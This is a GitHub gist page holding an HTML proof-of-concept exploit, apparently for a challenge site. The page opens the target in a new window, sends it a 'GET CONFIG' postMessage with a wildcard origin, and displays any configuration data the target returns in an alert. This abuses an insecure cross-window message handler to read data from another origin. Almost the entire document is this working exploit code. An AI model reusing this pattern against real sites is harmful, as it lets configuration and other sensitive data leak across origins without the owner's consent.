Skip to content

Instantly share code, notes, and snippets.

@LewisArdern

LewisArdern/exploit.html

Created May 16, 2019 18:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save LewisArdern/b53ce3269564d5492c79447b2dde9c65 to your computer and use it in GitHub Desktop.
Save LewisArdern/b53ce3269564d5492c79447b2dde9c65 to your computer and use it in GitHub Desktop.
Download ZIP
exploit.html
Raw
exploit.html
<html>
<head>
<script>
const run = () => {
pwn.postMessage(JSON.stringify({ key: 'GET CONFIG' }), "*")
}
document.addEventListener('DOMContentLoaded', () => {
pwn = window.open('https://challengemenow.now.sh')
window.addEventListener('message', (event) => {
alert(JSON.stringify(event.data))
}, false)
setTimeout(run, 5000)
})
</script>
</head>
<body>
<p>This page demonstrates the exploit, please wait 5 seconds…</p>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment